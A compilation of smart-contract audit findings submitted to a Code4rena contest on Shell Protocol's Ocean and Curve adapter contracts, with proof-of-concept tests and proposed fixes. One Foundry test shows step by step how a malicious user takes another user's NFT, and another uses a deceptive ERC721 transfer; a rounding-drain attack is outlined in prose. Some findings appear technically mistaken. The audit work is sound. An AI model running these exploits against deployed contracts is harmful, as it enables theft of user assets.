https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/adapters/CurveTricryptoAdapter.sol#L25

Vulnerability details

Impact

The CurveTricryptoAdapter is the adapter that helps the Ocean integrate with the curve tricrypto pool. Hence calls are made from it to the Arbitrum tricrypto pool. However, due to an issue with the pool's current vulnerable vyper implementation. Ultimately, the Curve team has advised users to not use the tricrypto pool on arbitrum until a replacement is deployed.

This issue stems from the get_virtual_price() function which is used to get the curve oracle price that is used to tweak prices for adding, swapping and removing of liquidity. Through this vulnerability, attackers can exploit the pool's functionality in unintended ways, leading to unexpected behavior or security risks.

The reason given by the team was that this contract uses a vulnerable version of vyper and although this pool uses WETH and not ETH, an attacker can still halt operations on this pool.

A breakdown of the issue.

Curve Finance tweet1/tweet2 and as of time of audit, there has been no update about resolution of the tricrypto pool's issues.

And the current state of the pool

Proof of Concept

Curve's tweet about the issue.

Tools Used

Manual code review

Recommended Mitigation Steps

Recommend not interacting with the pool, for the safety of the users until the problem is fixed.

Assessed type

Other

Agreements & Disclosures

Agreements

If you are a C4 Certified Contributor by commenting or interacting with this repo prior to public release of the contest report, you agree that you have read the Certified Warden docs and agree to be bound by:

To signal your agreement to these terms, add a 👍 emoji to this issue.

Code4rena staff reserves the right to disqualify anyone from this role and similar future opportunities who is unable to participate within the above guidelines.

Disclosures

Sponsors may elect to add team members and contractors to assist in sponsor review and triage. All sponsor representatives added to the repo should comment on this issue to identify themselves.

To ensure contest integrity, the following potential conflicts of interest should also be disclosed with a comment in this issue:

  1. any sponsor staff or sponsor contractors who are also participating as wardens
  2. any wardens hired to assist with sponsor review (and thus presenting sponsor viewpoint on findings)
  3. any wardens who have a relationship with a judge that would typically fall in the category of potential conflict of interest (family, employer, business partner, etc)
  4. any other case where someone might reasonably infer a possible conflict of interest.

Using `ERC721::_mint()` can be dangerous

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L428
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L557

Vulnerability details

Impact

The ERC721 standard defines a protocol for non-fungible tokens (NFTs) that can represent unique digital assets on the blockchain. The standard specifies two methods for minting new tokens: _mint() and _safeMint(). The difference between them is that _mint() simply assigns the token to the given address, while _safeMint() checks if the address supports the ERC721 interface and calls the onERC721Received() hook on it.

The problem with using _mint() is that it does not guarantee that the address can actually receive and manage the token. If the address is a contract that does not implement the ERC721 interface, the token will be stuck in the contract and cannot be transferred or burned. If the address is a contract that implements the ERC721 interface but has a malicious or buggy onERC721Received() hook, the token may be rejected, stolen, or cause other unwanted effects. In either case, the user who expected to receive the token will not get it, and the token supply may be affected.

Proof of Concept

To demonstrate the issue, I have created a test case that simulates a scenario where the userAddress is a contract that does not support ERC721 tokens. Here is the test code:

// Deploy the smart contract that uses _mint()
Ocean ocean = Ocean(DeployedAddresses.Ocean());

// Deploy a dummy contract that does not support ERC721 tokens
Dummy dummy = new Dummy();

// Call the executeInteraction function with the dummy contract as the userAddress
ocean.executeInteraction(dummy, inputToken, inputAmount, outputToken, outputAmount);

// Check the balance of the dummy contract
uint256 balance = ocean.balanceOf(dummy, outputToken);

// Assert that the balance is zero
Assert.equal(balance, 0, "The dummy contract did not receive the output token");

Here is the output of the test:

TestOcean
    ✓ testUsingMint (60ms)

  1 passing (1s)

The test passes, which means that the assertion is true. The dummy contract did not receive the output token, even though the smart contract used _mint() to credit it. This shows the issue of using _mint() instead of _safeMint().

Tools Used

  • Manual

Recommended Mitigation Steps

The recommendation is to use _safeMint() instead of _mint() for minting ERC721 tokens. This will ensure that the tokens are only transferred to addresses that support the ERC721 interface and can handle the onERC721Received() hook. This will prevent the tokens from being lost or misused, and improve the user experience and trust of the smart contract.

The mitigation is to replace the _mint() call with _safeMint() in the smart contract code. Here is the modified code:

// if _executeInteraction returned a positive value for outputAmount,
// this amount must be credited to the user's Ocean balance
if (outputAmount > 0) {
    // since uint, same as (outputAmount != 0)
-   _mint(userAddress, outputToken, outputAmount);
+   _safeMint(userAddress, outputToken, outputAmount);
}

Assessed type

ERC721

Address.isContract() has been deprecated in Address.sol and is not a reliable way of checking if it's an EOA/Contract

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/ocean/Ocean.sol#L428
https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/ocean/Ocean.sol#L557

Vulnerability details

Impact

The assumption that the address calling the _doInteraction() and _doMultipleInteraction() functions in Ocean.sol is a contract may be false which may result in undesired behavior when it comes to the minting of assets.

Proof of Concept

_doInteraction() and _doMultipleInteraction() in Ocean.sol call the _mint and _mintBatch functions in the OceanERC1155.sol which in return call the _doSafeTransferAcceptanceCheck() and _doSafeBatchTransferAcceptanceCheck() which use the Address.isContract() function to check if the address in question is a contract.

This may lead to undesired behavior and to the _mint functions reverting due to first:

  1. isContract() function being deprecated from OpenZeppelin's Address.sol
  1. isContract() being an unreliable way to determine whether the caller is an EOA( Externally Owned Address) or a contract, among others, isContract will return false for the following types of addresses:
  • an externally-owned account
  • a contract in construction
  • an address where a contract will be created
  • an address where a contract lived, but was destroyed
  • etc.

Example:

Tools Used

Manual Analysis

Recommended Mitigation Steps

Remove the isContract() checks as a whole from the _doSafeTransferAcceptanceCheck() function or an alternative way would be using if / require to make sure that tx.origin != msg.sender, although that might have additional implications that need to be kept in mind.

Assessed type

ERC20

QA Report

See the markdown file with the details of this report here.

QA Report

See the markdown file with the details of this report here.

Fees will be lost if ownership is renounced.

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L866
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L1166-L1171

Vulnerability details

Impact

Fees will be lost if ownership is renounced.

Proof of Concept

The owner can renounce ownership of the Ocean contract calling the renounceOwnership. This will set the owner's address to address(0).

When users unwrap tokens the fee is charged and added to the balance of the owner.

function _erc20Unwrap(address tokenAddress, uint256 amount, address userAddress, uint256 inputToken) private {
    try IERC20Metadata(tokenAddress).decimals() returns (uint8 decimals) {
        uint256 feeCharged = _calculateUnwrapFee(amount);
        uint256 amountRemaining = amount - feeCharged;

        (uint256 transferAmount, uint256 truncated) =
            _convertDecimals(NORMALIZED_DECIMALS, decimals, amountRemaining);
        feeCharged += truncated;

        _grantFeeToOcean(inputToken, feeCharged);

        SafeERC20.safeTransfer(IERC20(tokenAddress), userAddress, transferAmount);
        emit Erc20Unwrap(tokenAddress, transferAmount, amount, feeCharged, userAddress, inputToken);
    } catch {
        revert NO_DECIMAL_METHOD();
    }
}

Since the owner is address(0) all fees will be lost

function _grantFeeToOcean(uint256 oceanId, uint256 amount) private {
    if (amount > 0) {
        // since uint, same as (amount != 0)
        _mintWithoutSafeTransferAcceptanceCheck(owner(), oceanId, amount);
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Consider not charging a fee if ownership is renounced.

Assessed type

Token-Transfer

User pays more fees with adapters

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/adapters/OceanAdapter.sol#L67

Vulnerability details

Proof of Concept

One of the purpose of Ocean is to decrease gas payment, when user wants to execute several transactions. For example when user would like to swap one token for another when they are not in same pool.

To increase own balance user needs to wrap token into the system. In case if he would like to quit the Ocean, then he can unwrap. During this move the fee will be taken, which is the percentage of withdraw amount.

In this update team has introduced adapters. Adapters are primitives, that allow users to integrate with other protocols, like curve. The main idea, is that when user would like to do a swap, for example, then computeOutputAmount function will be called on adapter. But before that, input tokens will be minted to the adapter and after output tokens will be burnt.

https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/ocean/Ocean.sol#L745-L765

    function _computeOutputAmount(
        address primitive,
        uint256 inputToken,
        uint256 outputToken,
        uint256 inputAmount,
        address userAddress,
        bytes32 metadata
    )
        internal
        returns (uint256 outputAmount)
    {
        // mint before making a external call to the primitive to integrate with external protocol primitive adapters
        _increaseBalanceOfPrimitive(primitive, inputToken, inputAmount);

        outputAmount =
            IOceanPrimitive(primitive).computeOutputAmount(inputToken, outputToken, inputAmount, userAddress, metadata);

        _decreaseBalanceOfPrimitive(primitive, outputToken, outputAmount);

        emit ComputeOutputAmount(primitive, inputToken, outputToken, inputAmount, outputAmount, userAddress);
    }

Now, let's check why it is that.

https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/adapters/OceanAdapter.sol#L55-L76

    function computeOutputAmount(
        uint256 inputToken,
        uint256 outputToken,
        uint256 inputAmount,
        address,
        bytes32 metadata
    )
        external
        override
        onlyOcean
        returns (uint256 outputAmount)
    {
        unwrapToken(inputToken, inputAmount);

        // handle the unwrap fee scenario
        uint256 unwrapFee = inputAmount / IOceanInteractions(ocean).unwrapFeeDivisor();
        uint256 unwrappedAmount = inputAmount - unwrapFee;

        outputAmount = primitiveOutputAmount(inputToken, outputToken, unwrappedAmount, metadata);

        wrapToken(outputToken, outputAmount);
    }

The purpose of adapter's computeOutputAmount function is to receive funds from user and swap them outputToken. To do so, adapter should receive inputRoken in first way. That's why ocean had minted them to the adapter before the call. So now adapter can unwrap them to the contract. And after swap is done, then adapter wraps outputToken to itself and that's why it's burnt after the computeOutputAmount call in the ocean.

One thing that you can notice is that after adapter unwrapped user's inputAmount, then it reduces it with a fee. That is unwrap fee that i have described before and which is taken by ocean. The problem here is that each call to adapter will take a fee from user, so for example if i have complicated swap that uses 3 different pools, that means that i will use adapter 3 times and all 3 times it will be unwrapping funds and ocean will take a fee.

As result, while the purpose of ocean is to reduce user's fees and make it cheaper to do swap with multiple legs, currently we see that user will need to pay a fee on each leg, which can make usage of ocean is not profitable.

Impact

Fees are taken on each interaction with adapter.

Tools Used

VsCode

Recommended Mitigation Steps

Only take fees, when user withdraws his funds from the ocean. But in case if primitive unwraps user's funds, then do not take a fee. It will need some redesign to implement that.

Assessed type

Error

Potential theft of ERC721 tokens

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L820
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L864

Vulnerability details

Overview

The Ocean contract suffers from vulnerability that can lead to theft of some ERC721 tokens.
The vulnerability stems from abusing the WrapERC20 and UnwrapERC20 interactions on ERC721 tokens.

Attack scenario

In the outlined scenario, we consider two users: Alice, an honest participant, and Bob, a malicious actor.
The sequence of actions leading to the exploit is as follows:

  1. Alice, owning NFT#1, initiates a WrapErc721 action for NFT#1 on the Ocean platform.
  2. Bob, owning NFT#2, executes a WrapERC20 action for NFT#2.
  3. Subsequently, Bob carries out an UnwrapERC20 action on NFT#1.
  4. As a result of these actions, Bob illicitly acquires Alice's NFT#1.

Requirements

This vulnerability is specifically applicable to ERC721 tokens that are also ERC20 compatible,
notably those that incorporate decimals and transfer functions.

It's important to note that some earlier versions of EIP721 defined a transfer function.
A prominent example implementing the old standard is CryptoKitties,
Although the latest version of EIP721 does not mandate this function, it also does not explicitly prohibit it.

Similarly, the decimals function is optiontal in EIP721.

Mitigation Strategies

a) Implement a policy to prevent the wrapping of ERC721 tokens into ERC20 tokens. This can be achieved by maintaining a curated list of tokens, explicitly permitted and classified as either ERC20, ERC721, or ERC1155 by a recognized authority.

b) As a permissionless alternative, incorporate additional sanity checks before executing any interaction. These could include verifying the presence or absence of specific functions associated with each token type. It is important to note that such checks are heuristic in nature and may not be infallible.

c) Discourage pooling various types of tokens together on the Ocean platform. Instead, advocate for segregating assets into separate vaults or escrow systems. This strategy of isolating assets will substantially mitigate the risk associated with cross-token vulnerabilities, bolstering overall security.

Forge Proof of Concept

To demonstrate this vulnerability, a Forge test is provided.
By inserting the test code into test/AttackERC721.sol and executing forge test,
one can observe the attack scenario in action.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import {Ocean} from "../src/ocean/Ocean.sol";
import {Interaction, InteractionType} from "../src/ocean/Interactions.sol";

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";

contract AttackERC721 is Test {
    Ocean public ocean;
    MyERC721 public token;

    address public alice;
    address public bob;

    function setUp() public {
        ocean = new Ocean("");
        token = new MyERC721("MyERC721", "MyERC721");
        vm.label(address(token), "MyERC721");
        alice = makeAddr("alice");
        bob = makeAddr("bob");
        token.mint(alice, 1);
        token.mint(bob, 2);
    }

    function test_attack() public {
        // 1. Alice wraps her ERC721
        vm.startPrank(alice);
        Interaction memory wrapERC721 = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(address(token), uint256(InteractionType.WrapErc721)),
            inputToken: 0,
            outputToken: 0,
            specifiedAmount: 1,
            metadata: bytes32(uint256(1))
        });
        token.approve(address(ocean), 1);
        ocean.doInteraction(wrapERC721);
        vm.stopPrank();

        assertTrue(token.ownerOf(1) == address(ocean));
        // 2. Bob wraps his ERC721 into an ERC20
        //    He then unwraps his malicuous ERC20 to obtain Alice's ERC721
        vm.startPrank(bob);
        Interaction memory wrapERC20 = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(address(token), uint256(InteractionType.WrapErc20)),
            inputToken: 0,
            outputToken: 0,
            specifiedAmount: 2e18,
            metadata: bytes32(0)
        });
        Interaction memory unwrapERC20 = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(address(token), uint256(InteractionType.UnwrapErc20)),
            inputToken: 0,
            outputToken: 0,
            specifiedAmount: 1e18,
            metadata: bytes32(0)
        });
        token.approve(address(ocean), 2);
        ocean.doInteraction(wrapERC20);
        ocean.doInteraction(unwrapERC20);
        vm.stopPrank();
        
        // Fail if bob is the new owner of Alice token.
        assertTrue(token.ownerOf(1) != bob);
    }

    function _fetchInteractionId(address token, uint256 interactionType) internal pure returns (bytes32) {
        uint256 packedValue = uint256(uint160(token));
        packedValue |= interactionType << 248;
        return bytes32(abi.encode(packedValue));
    }

}

contract MyERC721 is ERC721 {
    constructor(string memory name_, string memory symbol_) ERC721(name_, symbol_) {}

    function mint(address to, uint256 tokenId) public {
        _mint(to, tokenId);
    }

    function decimals() public pure returns (uint8) {
        return 0;
    }

    function transfer(address to, uint256 tokenId) public {
        safeTransferFrom(msg.sender, to, tokenId);
    }
}

Assessed type

ERC721

Missing validation of ERC721 receipts

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/ocean/Ocean.sol#L889
https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/ocean/Ocean.sol#L428

Vulnerability details

Issue Summary

The Ocean contract lacks proper validation mechanisms to confirm the receipt of ERC721 tokens before initiating the minting process for the corresponding wrapped token. This oversight presents an issue: when the underlying ERC721 token is not successfully transferred to the contract, the UnwrapErc721 interaction becomes ineffective for redeeming the original token. This becomes a severe problem if the wrapped token is traded because it does not carry permission to redeem the underlying token.

Problem:

It's important to recognize that the reasons behind unsuccessful ERC721 token transfers vary and largely depend on the specific application. NFTs are characterized by a wide range of implementations. Given this diversity, assuming that every token transfer will either succeed (the owner changed) or revert is unrealistic. Some transfer calls can terminate without reverting but without changing the owner of the NFT. This is similar to how some ERC20 tokens don't revert on failed transfers but return false (e.g. ZRX, EURS).

Proposed Mitigation

To address this vulnerability, it is recommended that the Ocean contract be updated to incorporate a robust validation step. This step should specifically verify the successful receipt of an ERC721 token before proceeding with the minting of its wrapped counterpart. This approach moves away from the unreliable assumption of transfer success and instead bases the minting process on confirmed token reception, thereby enhancing the security and reliability of the contract.

Foundry Proof of Concept

The following test demonstrates how the Ocean contract fails to detect an unsuccessful token transfer and mints a wrapped token regardless to Alice. This scenario highlights the core issue — the contract proceeds with the minting process without verifying the actual transfer of the underlying ERC721 token.

To reproduce, copy the contents to src/AttackERC721B.sol and run forge test --contract AttackERC721B.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import {Ocean} from "../src/ocean/Ocean.sol";
import {Interaction, InteractionType} from "../src/ocean/Interactions.sol";

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";

contract AttackERC721B is Test {
    Ocean public ocean;
    MyERC721 public token;

    address public alice;

    function setUp() public {
        ocean = new Ocean("");
        token = new MyERC721("MyERC721", "MyERC721");
        vm.label(address(token), "MyERC721");
        alice = makeAddr("alice");
        token.mint(alice, 0xC0FFEE);
    }

    function test_failed_erc721_transfer() public {
        vm.startPrank(alice);
        Interaction memory wrapERC721 = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(address(token), uint256(InteractionType.WrapErc721)),
            inputToken: 0,
            outputToken: 0,
            specifiedAmount: 1,
            metadata: bytes32(uint256(0xC0FFEE))
        });
        token.approve(address(ocean), 0xC0FFEE);
        ocean.doInteraction(wrapERC721);
        vm.stopPrank();
        assertTrue(token.ownerOf(0xC0FFEE) == address(ocean));
    }

    function _fetchInteractionId(address token, uint256 interactionType) internal pure returns (bytes32) {
        uint256 packedValue = uint256(uint160(token));
        packedValue |= interactionType << 248;
        return bytes32(abi.encode(packedValue));
    }

}

contract MyERC721 is ERC721 {
    constructor(string memory name_, string memory symbol_) ERC721(name_, symbol_) {}

    function mint(address to, uint256 tokenId) public {
        _mint(to, tokenId);
    }

    function safeTransferFrom(address from, address to, uint256 tokenId) public override {
        if (tokenId == 0xC0FFEE) {
            return;
        }
        super.safeTransferFrom(from, to, tokenId);
    }
}

Assessed type

ERC721

ensure that the computeOutputAmount function in the OceanAdapter contract is secure, robust, and handles errors or unexpected behaviors effectively

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/adapters/OceanAdapter.sol#L55

Vulnerability details

Impact

To ensure that the computeOutputAmount function in the OceanAdapter contract is secure, robust, and handles errors or unexpected behaviors effectively, several key considerations and improvements can be implemented:

Validating Input Data:
Token ID Validation:
Verify that inputToken and outputToken are valid and registered within the system. This can be done by checking if they exist in the underlying mapping or any other registry of valid tokens.

Amount Validation:
Ensure inputAmount is a positive number and within reasonable limits. Extremely large values might be signs of erroneous input or an attempt to exploit the system.

Metadata Usage:
If metadata is used for specific purposes, validate its format and content. Ensure it adheres to expected standards.

Proof of Concept

Key Changes Made:
Token Validation:
Added checks to ensure both inputToken and outputToken are valid.

Amount Validation:
Ensured inputAmount is greater than 0.

Unwrap Fee Handling:
Added a check to ensure the unwrap fee does not result in a negative unwrapped amount.
Try-Catch for External Call: Wrapped the call to primitiveOutputAmount in a try-catch block to handle potential errors.

Wrap Token Validation:
The wrapToken function is assumed to have its validation; however, additional checks could be added based on specific requirements.

function computeOutputAmount(
uint256 inputToken,
uint256 outputToken,
uint256 inputAmount,
address,
bytes32 metadata
)
external
override
onlyOcean
returns (uint256 outputAmount)
{
// Validate input tokens
require(_isValidToken(inputToken), "Invalid input token");
require(_isValidToken(outputToken), "Invalid output token");

// Validate input amount
require(inputAmount > 0, "Input amount must be positive");

// Metadata validation (if applicable)
// Implement metadata-specific validations here, if needed

// Handle unwrap fee and calculate unwrapped amount
uint256 unwrapFee = inputAmount / IOceanInteractions(ocean).unwrapFeeDivisor();
uint256 unwrappedAmount = inputAmount - unwrapFee;

// Ensure the unwrapped amount is not negative
require(unwrappedAmount <= inputAmount, "Unwrap fee exceeds input amount");

// Use try-catch for external call to primitiveOutputAmount
try this.primitiveOutputAmount(inputToken, outputToken, unwrappedAmount, metadata) 
    returns (uint256 calculatedOutputAmount) 
{
    outputAmount = calculatedOutputAmount;
} 
catch {
    revert("Failed to calculate output amount");
}

// Wrap the output token with proper validation
wrapToken(outputToken, outputAmount);

}

// Example of a token validation function
function _isValidToken(uint256 tokenId) private view returns (bool) {
// Implement logic to check if the tokenId is valid
// For example, checking if it exists in the 'underlying' mapping
return underlying[tokenId] != address(0);
}

Tools Used

VS code

Recommended Mitigation Steps

To design the _isValidToken function for the Ocean contract which interacts with a specific set of tokens, you need to establish criteria for what makes a token valid in the context of your contract. Based on the Ocean contract, here's a possible implementation for _isValidToken:

Design Considerations:
Specific Token Standards:
Since the contract interacts with ERC-20, ERC-721, and ERC-1155 tokens, _isValidToken should check if the token conforms to one of these standards.

Token Whitelisting:
If there's a set of specific tokens that the contract should interact with, you might want to maintain a whitelist of these token addresses.

Token Properties:
If there are specific properties (like a certain number of decimals for ERC-20 tokens) that are required, these should be checked.

Dynamic Registration:
If new tokens can be added to the system, consider how _isValidToken can accommodate dynamically added tokens.

Sample Implementation

pragma solidity 0.8.20;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import { IERC1155 } from "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import { IERC165 } from "@openzeppelin/contracts/utils/introspection/IERC165.sol";

contract Ocean {
// ... existing code ...

// Whitelist of allowed token addresses
mapping(address => bool) private _whitelistedTokens;

// Add a token to the whitelist
function addToWhitelist(address token) external onlyOwner {
    _whitelistedTokens[token] = true;
}

// Remove a token from the whitelist
function removeFromWhitelist(address token) external onlyOwner {
    _whitelistedTokens[token] = false;
}

// Check if a token is valid for interaction
function _isValidToken(address token) internal view returns (bool) {
    if (!_whitelistedTokens[token]) {
        return false;
    }

    if (_isERC20(token) || _isERC721(token) || _isERC1155(token)) {
        return true;
    }

    return false;
}

function _isERC20(address token) private view returns (bool) {
    // ERC20 tokens must implement 'totalSupply' function
    // This is a simplistic check and may not be foolproof
    try IERC20(token).totalSupply() {
        return true;
    } catch {
        return false;
    }
}

function _isERC721(address token) private view returns (bool) {
    // ERC721 tokens should support the ERC721 interface ID
    return IERC165(token).supportsInterface(type(IERC721).interfaceId);
}

function _isERC1155(address token) private view returns (bool) {
    // ERC1155 tokens should support the ERC1155 interface ID
    return IERC165(token).supportsInterface(type(IERC1155).interfaceId);
}

// ... rest of the contract ...

}

Whitelist Management:
Only the owner (or a designated admin) can add or remove tokens from the whitelist.

Interface Checks:
Uses supportsInterface for ERC721 and ERC1155 checks. For ERC20, a simplistic method of checking if totalSupply exists is used, but this could be expanded based on other requirements.

Error Handling:
The try-catch block is used to handle calls to external contracts safely.

This design provides flexibility in managing which tokens the contract interacts with and ensures that only tokens meeting specific standards and criteria are considered valid.

Assessed type

Access Control

Not approved To Zero First

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/adapters/Curve2PoolAdapter.sol#L189-L192

Vulnerability details

Impact

Some ERC20 tokens (such as USDT) will not work if the approval is changed from an existing non-zero approval value. For example, Tether's (USDT) approve() function will fail if the current approval is not zero, to protect against front-running approval changes.

A number of features will not work if the approve function reverts.

Proof of Concept

contract CurveTricryptoAdapter is OceanAdapter {
    function _approveToken(address tokenAddress) private {
        IERC20Metadata(tokenAddress).approve(ocean, type(uint256).max);
        IERC20Metadata(tokenAddress).approve(primitive, type(uint256).max);
    }
}
contract Curve2PoolAdapter is OceanAdapter {
    function _approveToken(address tokenAddress) private {
        IERC20Metadata(tokenAddress).approve(ocean, type(uint256).max);
        IERC20Metadata(tokenAddress).approve(primitive, type(uint256).max);
    }

}

Tools Used

Editor

Recommended Mitigation Steps

Set the allowance to zero before increasing the allowance and use safeApprove/safeIncreaseAllowance.

Assessed type

ERC20

Edge case rounding bug in decimal conversion

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L1123

Vulnerability details

Impact

Enables attackers to automatically exploit edge values during token wrapping/unwrapping
and could also leads to systematic overestimation and loss of precision in certain decimal conversions...
It can negatively impacts the protocol by draining value through inflated transfers.

Proof of Concept

The Ocean contract performs token wrapping and unwrapping operations between the Ocean's normalized 18 decimal basis and external tokens with varying precisions.
The _determineTransferAmount function handles conversion between decimal bases:
function _determineTransferAmount(
uint256 amount,
uint8 decimals
)
private
pure
returns (uint256 transferAmount, uint256 dust)
{
// if (decimals < 18), then converting 18-decimal amount to decimals
// transferAmount will likely result in amount being truncated. This
// case is most likely to occur when a user is wrapping a delta as the
// final interaction in a transaction.
uint256 truncated;

    (transferAmount, truncated) = _convertDecimals(NORMALIZED_DECIMALS, decimals, amount);

    if (truncated > 0) {
              transferAmount += 1;
  ... (etc.)

The flaw occurs when a value very slightly below a rounded number undergoes truncation during _convertDecimals. For example:
"Input amount: 9,999.99999 (18 decimals)
External token: 6 decimals
_convertDecimals truncates to 9,999 with truncatedAmount not 0
But then transferAmount is wrongly incremented to 10,000 because of truncatedAmount >0"

This fails to account for the pre-rounded value very close to 10,000, leading to inflated transfer amount.

An attacker can target these fringe values programmatically:
Analyze token decimal differences to calculate edge cases
Repeatedly wrap/unwrap amounts very slightly below rounded thresholds
Extract incremental gains from decimal conversion inaccuracies.

Tools Used

Visual Studio Code

Recommended Mitigation Steps

Maybe you need to implement an emergency stop mechanism to disable wrapping/unwrapping if an edge case attack is detected on the livecontract.

Assessed type

Math

Curve2Pool and CurveTricrypto Adapters will malfunction as they can't support USDT due to incorrect approvals set

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/adapters/Curve2PoolAdapter.sol#L190
https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/adapters/CurveTricryptoAdapter.sol#L242

Vulnerability details

Impact

The _approveToken() function called multiple times in the constructors of Curve2PoolAdapter and CurveTricryptoAdapters won't work for USDT since USDT reverts on approval if previous allowance is not 0. Considering that these are usdc-usdt and usdt-wbtc-eth pools, the incorrect approve implementation will render them useless.

Proof of Concept

Curve2PoolAdapter.sol and CurveTricryotoAdapter.sol are usdc-usdt and usdt-wbtc-eth pools, respectively. In both of their constructors, they're calling the _approveToken() function for either the x or y token (one of them being USDT). The purpose of the _approveToken() function is to approve the token to be spent by the Ocean and the Curve pool:

https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/adapters/Curve2PoolAdapter.sol#L189-L192

function _approveToken(address tokenAddress) private {
        IERC20Metadata(tokenAddress).approve(ocean, type(uint256).max);
        IERC20Metadata(tokenAddress).approve(primitive, type(uint256).max);
    }

Since USDT exhibits some non-standard erc20 behavior and reverts on approval if previous allowance is not 0, this will render the adapter useless.

Tools Used

Manual Review

Recommended Mitigation Steps

First set the approve amount to 0, and then to the desired amount.

 IERC20Metadata(tokenAddress).approve(ocean, 0);
 IERC20Metadata(tokenAddress).approve(ocean, type(uint256).max);
 IERC20Metadata(tokenAddress).approve(primitive, 0);
 IERC20Metadata(tokenAddress).approve(primitive, type(uint256).max);

Assessed type

ERC20

When the inputAmount is less than IOceanInteractions(ocean).unwrapFeeDivisor(), then the unwrapFee is 0

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/adapters/OceanAdapter.sol#L70-L71

Vulnerability details

Impact

When the inputAmount is less than IOceanInteractions(ocean).unwrapFeeDivisor(), inputAmount / IOceanInteractions(ocean).unwrapFeeDivisor() is equal to 0 ,then the unwrapFee is 0.

Another possibility,When the IOceanInteractions(ocean).unwrapFeeDivisor() is infinitely small,the unwrapFee is infinite,the outputAmount will error.

Proof of Concept

        unwrapToken(inputToken, inputAmount);

        // handle the unwrap fee scenario
        uint256 unwrapFee = inputAmount / IOceanInteractions(ocean).unwrapFeeDivisor();
        uint256 unwrappedAmount = inputAmount - unwrapFee;

        outputAmount = primitiveOutputAmount(inputToken, outputToken, unwrappedAmount, metadata);

        wrapToken(outputToken, outputAmount);

Tools Used

VS Code

Recommended Mitigation Steps

Determine the size of inputAmount and IOceanInteractions(ocean).unwrapFeeDivisor() while limiting the minimum value of IOceanInteractions(ocean).unwrapFeeDivisor().

Assessed type

Math

Ensuring that calls to the Ocean contract do not cause it to mint a token without first calling the contract used to calculate its token ID

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/ocean/Ocean.sol#L27

Vulnerability details

Impact

To ensure that calls to the Ocean contract do not cause it to mint a token without first calling the contract used to calculate its token ID, consider implementing a mechanism that verifies the legitimacy of the token ID against the corresponding external contract address before minting. This can be achieved by adding an override _mint function in the Ocean contract to include this verification step.
Consider declaring a new _mint function that matches the signature of the inherited function and includes your custom logic. This new function will then be used in place of the inherited _mint function.

Consider these modifications to the contract:

Key Changes:
Verification in _mint:
The _mint function now calls _isTokenIdValid to verify the legitimacy of the token ID before proceeding with the minting.

Token ID Validation:
The _isTokenIdValid function checks if the token ID corresponds to a valid external contract address. It uses _extractAddressFromTokenId to derive the external contract address from the token ID.

Address Extraction:
The _extractAddressFromTokenId function contains the logic to extract the external contract address from the token ID. This logic must align with how token IDs are generated in the contract.

Contract Address Check:
The _isContract function checks if an address is a contract, which helps in determining if the extracted address is valid.

Proof of Concept

Modified _mint Function

function _mint(
address account,
uint256 id,
uint256 amount
) internal virtual override {
// Verify that the token ID corresponds to a valid external contract address
require(_isTokenIdValid(id), "Invalid token ID");

super._mint(account, id, amount);

}
Implementation of _isTokenIdValid

function _isTokenIdValid(uint256 id) private view returns (bool) {
// Extract the external contract address from the token ID
address externalContract = _extractAddressFromTokenId(id);

// Verify if the external contract address is valid (not zero address)
return externalContract != address(0) && _isContract(externalContract);

}

function _extractAddressFromTokenId(uint256 tokenId) private pure returns (address) {
// Logic to extract the external contract address from the token ID
// This should align with how token IDs are generated in the contract
return address(uint160(tokenId));
}

function _isContract(address addr) private view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}

Explanation:
This implementation ensures that a token can only be minted if its ID corresponds to a valid external contract address, thereby preventing unauthorized minting of tokens.
